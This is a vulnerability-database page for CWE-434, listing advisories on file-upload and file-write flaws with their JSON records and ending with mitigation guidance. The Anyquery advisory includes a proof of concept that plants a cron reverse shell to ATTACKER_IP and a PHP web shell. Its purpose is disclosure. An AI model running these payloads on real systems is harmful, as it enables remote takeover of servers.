CWE-434
AllowedUnrestricted Upload of File with Dangerous Type
Abstraction: Base · Status: Draft
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
5965 vulnerabilities reference this CWE, most recent first.
GHSA-XQRC-JPV5-HCCP
Vulnerability from github – Published: 2025-08-08 21:30 – Updated: 2025-08-08 21:30XODA version 0.4.5 contains an unauthenticated file upload vulnerability that allows remote attackers to execute arbitrary PHP code on the server. The flaw resides in the upload functionality, which fails to properly validate or restrict uploaded file types. By crafting a multipart/form-data POST request, an attacker can upload a .php file directly into the web-accessible files/ directory and trigger its execution via a subsequent GET request.
{
"affected": [],
"aliases": [
"CVE-2012-10045"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-08T19:15:34Z",
"severity": "CRITICAL"
},
"details": "XODA version 0.4.5 contains an unauthenticated file upload vulnerability that allows remote attackers to execute arbitrary PHP code on the server. The flaw resides in the upload functionality, which fails to properly validate or restrict uploaded file types. By crafting a multipart/form-data POST request, an attacker can upload a .php file directly into the web-accessible files/ directory and trigger its execution via a subsequent GET request.",
"id": "GHSA-xqrc-jpv5-hccp",
"modified": "2025-08-08T21:30:39Z",
"published": "2025-08-08T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-10045"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/xoda_file_upload.rb"
},
{
"type": "WEB",
"url": "https://sourceforge.net/projects/xoda"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/20703"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/20713"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/xoda-arbitrary-php-file-upload"
},
{
"type": "WEB",
"url": "https://xoda.org"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XR7P-HQQ6-J962
Vulnerability from github – Published: 2022-10-12 12:00 – Updated: 2022-10-12 19:00The d8s-json package for Python, as distributed on PyPI, included a potential code-execution backdoor inserted by a third party. The backdoor is the democritus-file-system package. The affected version is 0.1.0.
{
"affected": [],
"aliases": [
"CVE-2022-41382"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-11T22:15:00Z",
"severity": "CRITICAL"
},
"details": "The d8s-json package for Python, as distributed on PyPI, included a potential code-execution backdoor inserted by a third party. The backdoor is the democritus-file-system package. The affected version is 0.1.0.",
"id": "GHSA-xr7p-hqq6-j962",
"modified": "2022-10-12T19:00:34Z",
"published": "2022-10-12T12:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41382"
},
{
"type": "WEB",
"url": "https://github.com/democritus-project/d8s-json/issues/10"
},
{
"type": "WEB",
"url": "https://pypi.org/project/d8s-json"
},
{
"type": "WEB",
"url": "https://pypi.org/project/democritus-file-system"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XRC5-WM9F-XF92
Vulnerability from github – Published: 2023-06-07 03:30 – Updated: 2024-04-04 04:38The Recently plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the fetch_external_image() function in versions up to, and including, 3.0.4. This makes it possible for authenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
{
"affected": [],
"aliases": [
"CVE-2021-4382"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-07T02:15:15Z",
"severity": "HIGH"
},
"details": "The Recently plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the fetch_external_image() function in versions up to, and including, 3.0.4. This makes it possible for authenticated attackers to upload arbitrary files on the affected site\u0027s server which may make remote code execution possible.",
"id": "GHSA-xrc5-wm9f-xf92",
"modified": "2024-04-04T04:38:45Z",
"published": "2023-06-07T03:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4382"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2542693"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/92c3f26a-1a84-459a-874b-07dc83c9f42a"
},
{
"type": "WEB",
"url": "https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-recently-multiple-vulnerabilities-3-0-4"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f8297149-2de3-4e49-80f9-6ea59dea6bce?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XRCF-6JH3-GGVX
Vulnerability from github – Published: 2026-07-14 18:33 – Updated: 2026-07-14 18:33Summary
Anyquery's server mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the ATTACH DATABASE command to write arbitrary SQLite databases to any path on the victim's filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).
Details
When Anyquery is launched in Server Mode (anyquery server), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the ATTACH DATABASE command, which creates a physical .db file on the filesystem if the file does not exist.
An attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., /var/www/html/shell.php, /etc/cron.d/pwn or /root/.ssh/authorized_keys), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like cron, sshd, and web servers like PHP tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.
PoC (Proof of Concept)
- Start the server on the victim machine:
bash anyquery server --host 0.0.0.0 --port 8070 - Connect from an attacker machine:
bash mysql -u root -h <VICTIM_IP> -P 8070 - Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as
/etc/cron.dor/var/spool/cron/crontabs/):sql ATTACH DATABASE '/etc/cron.d/pwn' AS pwn; CREATE TABLE pwn.task (cmd TEXT); INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');
Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:
sql
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
CREATE TABLE pwn.hacked (cmd TEXT);
INSERT INTO pwn.hacked VALUES ('<?php system($_GET["cmd"]); ?>');
If testing locally as a non-root user, you can verify the vulnerability by writing to /tmp:
sql
ATTACH DATABASE '/tmp/pwn.db' AS pwn;
CREATE TABLE pwn.test (cmd TEXT);
INSERT INTO pwn.test VALUES ('Hello Anyquery AFW');
Within 60 seconds, the system's cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.
Impact
- Confidentiality: None (from the write action itself, though combined with LFR it becomes High).
- Integrity: High. Arbitrary files can be written or overwritten, which corrupts the filesystem.
- Availability: High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).
- CVSS Score: 9.1 (Critical) -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).
Remediation
Disable dangerous SQLite functions (ATTACH DATABASE, DETACH DATABASE, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.4.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/julien040/anyquery"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50006"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284",
"CWE-434",
"CWE-73",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T18:33:57Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\nAnyquery\u0027s `server` mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the `ATTACH DATABASE` command to write arbitrary SQLite databases to any path on the victim\u0027s filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).\n\n## Details\nWhen Anyquery is launched in **Server Mode** (`anyquery server`), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the `ATTACH DATABASE` command, which creates a physical `.db` file on the filesystem if the file does not exist.\n\nAn attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., `/var/www/html/shell.php`, `/etc/cron.d/pwn` or `/root/.ssh/authorized_keys`), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like `cron`, `sshd`, and web servers like `PHP` tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.\n\n## PoC (Proof of Concept)\n1. Start the server on the victim machine:\n ```bash\n anyquery server --host 0.0.0.0 --port 8070\n ```\n2. Connect from an attacker machine:\n ```bash\n mysql -u root -h \u003cVICTIM_IP\u003e -P 8070\n ```\n3. Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as `/etc/cron.d` or `/var/spool/cron/crontabs/`):\n ```sql\n ATTACH DATABASE \u0027/etc/cron.d/pwn\u0027 AS pwn;\n CREATE TABLE pwn.task (cmd TEXT);\n INSERT INTO pwn.task VALUES (\u0027* * * * * root /bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/ATTACKER_IP/1337 0\u003e\u00261\"\u0027);\n ```\n\n *Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:*\n ```sql\n ATTACH DATABASE \u0027/var/www/html/shell.php\u0027 AS pwn;\n CREATE TABLE pwn.hacked (cmd TEXT);\n INSERT INTO pwn.hacked VALUES (\u0027\u003c?php system($_GET[\"cmd\"]); ?\u003e\u0027);\n ```\n\n *If testing locally as a non-root user, you can verify the vulnerability by writing to `/tmp`:*\n ```sql\n ATTACH DATABASE \u0027/tmp/pwn.db\u0027 AS pwn;\n CREATE TABLE pwn.test (cmd TEXT);\n INSERT INTO pwn.test VALUES (\u0027Hello Anyquery AFW\u0027);\n ```\nWithin 60 seconds, the system\u0027s cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.\n\n## Impact\n- **Confidentiality:** None (from the write action itself, though combined with LFR it becomes High).\n- **Integrity:** High. Arbitrary files can be written or overwritten, which corrupts the filesystem.\n- **Availability:** High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).\n- **CVSS Score:** 9.1 (Critical) - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H`\n - *Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).*\n\n## Remediation\nDisable dangerous SQLite functions (`ATTACH DATABASE`, `DETACH DATABASE`, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.",
"id": "GHSA-xrcf-6jh3-ggvx",
"modified": "2026-07-14T18:33:57Z",
"published": "2026-07-14T18:33:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/julien040/anyquery/security/advisories/GHSA-xrcf-6jh3-ggvx"
},
{
"type": "PACKAGE",
"url": "https://github.com/julien040/anyquery"
},
{
"type": "WEB",
"url": "https://github.com/julien040/anyquery/releases/tag/0.4.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Anyquery: Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) via Unrestricted ATTACH DATABASE in Server Mode"
}
GHSA-XRF6-5MXJ-VQ5C
Vulnerability from github – Published: 2022-04-09 00:00 – Updated: 2022-04-15 00:00RiteCMS version 3.1.0 and below suffers from a remote code execution vulnerability in the admin panel. An authenticated attacker can upload a PHP file and bypass the .htacess configuration to deny execution of .php files in media and files directory by default.
{
"affected": [],
"aliases": [
"CVE-2021-46367"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-08T12:15:00Z",
"severity": "HIGH"
},
"details": "RiteCMS version 3.1.0 and below suffers from a remote code execution vulnerability in the admin panel. An authenticated attacker can upload a PHP file and bypass the .htacess configuration to deny execution of .php files in media and files directory by default.",
"id": "GHSA-xrf6-5mxj-vq5c",
"modified": "2022-04-15T00:00:57Z",
"published": "2022-04-09T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46367"
},
{
"type": "WEB",
"url": "https://gist.github.com/faisalfs10x/bd12e9abefb0d44f020bf297a14a4597"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/165430/RiteCMS-3.1.0-Shell-Upload-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "https://ritecms.com"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/50616"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XRH7-29MH-FP98
Vulnerability from github – Published: 2026-02-04 15:30 – Updated: 2026-02-11 18:31An arbitrary file overwrite vulnerability in the file import process of Tarot, Astro & Healing v11.4.0 allows attackers to overwrite critical internal files, potentially leading to arbitrary code execution or exposure of sensitive information.
{
"affected": [],
"aliases": [
"CVE-2025-69618"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-04T15:16:13Z",
"severity": "MODERATE"
},
"details": "An arbitrary file overwrite vulnerability in the file import process of Tarot, Astro \u0026 Healing v11.4.0 allows attackers to overwrite critical internal files, potentially leading to arbitrary code execution or exposure of sensitive information.",
"id": "GHSA-xrh7-29mh-fp98",
"modified": "2026-02-11T18:31:25Z",
"published": "2026-02-04T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69618"
},
{
"type": "WEB",
"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/9"
},
{
"type": "WEB",
"url": "https://coto.world"
},
{
"type": "WEB",
"url": "https://secsys.fudan.edu.cn"
},
{
"type": "WEB",
"url": "http://coto.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XRH9-PR8P-FPQJ
Vulnerability from github – Published: 2022-05-24 17:12 – Updated: 2022-10-07 18:15This vulnerability allows remote attackers to create arbitrary files on affected installations of Horde Groupware Webmail Edition 5.2.22. Authentication is required to exploit this vulnerability. The specific flaw exists within add.php. The issue results from the lack of proper validation of user-supplied data, which can allow the upload of arbitrary files. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the www-data user. Was ZDI-CAN-10125.
{
"affected": [],
"aliases": [
"CVE-2020-8866"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-23T21:15:00Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows remote attackers to create arbitrary files on affected installations of Horde Groupware Webmail Edition 5.2.22. Authentication is required to exploit this vulnerability. The specific flaw exists within add.php. The issue results from the lack of proper validation of user-supplied data, which can allow the upload of arbitrary files. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the www-data user. Was ZDI-CAN-10125.",
"id": "GHSA-xrh9-pr8p-fpqj",
"modified": "2022-10-07T18:15:44Z",
"published": "2022-05-24T17:12:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8866"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/03/msg00036.html"
},
{
"type": "WEB",
"url": "https://lists.horde.org/archives/announce/2020/001288.html"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-20-275"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XRHJ-W964-JRV7
Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2023-02-09 18:30The mappress-google-maps-for-wordpress plugin before 2.54.6 for WordPress does not correctly implement capability checks for AJAX functions related to creation/retrieval/deletion of PHP template files, leading to Remote Code Execution. NOTE: this issue exists because of an incomplete fix for CVE-2020-12077.
{
"affected": [],
"aliases": [
"CVE-2020-12675"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-05-29T16:15:00Z",
"severity": "MODERATE"
},
"details": "The mappress-google-maps-for-wordpress plugin before 2.54.6 for WordPress does not correctly implement capability checks for AJAX functions related to creation/retrieval/deletion of PHP template files, leading to Remote Code Execution. NOTE: this issue exists because of an incomplete fix for CVE-2020-12077.",
"id": "GHSA-xrhj-w964-jrv7",
"modified": "2023-02-09T18:30:29Z",
"published": "2022-05-24T17:18:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12675"
},
{
"type": "WEB",
"url": "https://blog.alertlogic.com/alert-logic-threat-research-team-identifies-new-vulnerability-cve-2020-12675-in-mappress-plugin-for-wordpress"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XRJV-CXQ7-2PW3
Vulnerability from github – Published: 2025-12-18 00:34 – Updated: 2025-12-18 00:34UliCMS 2023.1-sniffing-vicuna contains a remote code execution vulnerability that allows authenticated attackers to upload PHP files with .phar extension during profile avatar upload. Attackers can trigger code execution by visiting the uploaded file's location, enabling system command execution through maliciously crafted avatar uploads.
{
"affected": [],
"aliases": [
"CVE-2023-53924"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-17T23:15:51Z",
"severity": "HIGH"
},
"details": "UliCMS 2023.1-sniffing-vicuna contains a remote code execution vulnerability that allows authenticated attackers to upload PHP files with .phar extension during profile avatar upload. Attackers can trigger code execution by visiting the uploaded file\u0027s location, enabling system command execution through maliciously crafted avatar uploads.",
"id": "GHSA-xrjv-cxq7-2pw3",
"modified": "2025-12-18T00:34:08Z",
"published": "2025-12-18T00:34:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53924"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20230314183734/https://en.ulicms.de"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/51434"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/ulicms-sniffing-vicuna-remote-code-execution-via-avatar-upload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XRRX-HRM6-MXR7
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-05-24 19:17An issue was discovered in GoAhead 4.x and 5.x before 5.1.5. In the file upload filter, user form variables can be passed to CGI scripts without being prefixed with the CGI prefix. This permits tunneling untrusted environment variables into vulnerable CGI scripts.
{
"affected": [],
"aliases": [
"CVE-2021-42342"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-14T06:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in GoAhead 4.x and 5.x before 5.1.5. In the file upload filter, user form variables can be passed to CGI scripts without being prefixed with the CGI prefix. This permits tunneling untrusted environment variables into vulnerable CGI scripts.",
"id": "GHSA-xrrx-hrm6-mxr7",
"modified": "2022-05-24T19:17:37Z",
"published": "2022-05-24T19:17:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42342"
},
{
"type": "WEB",
"url": "https://github.com/embedthis/goahead/issues/305"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation
Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
Mitigation
Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
Mitigation
Strategy: Input Validation
Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
Mitigation
When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
Mitigation
Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.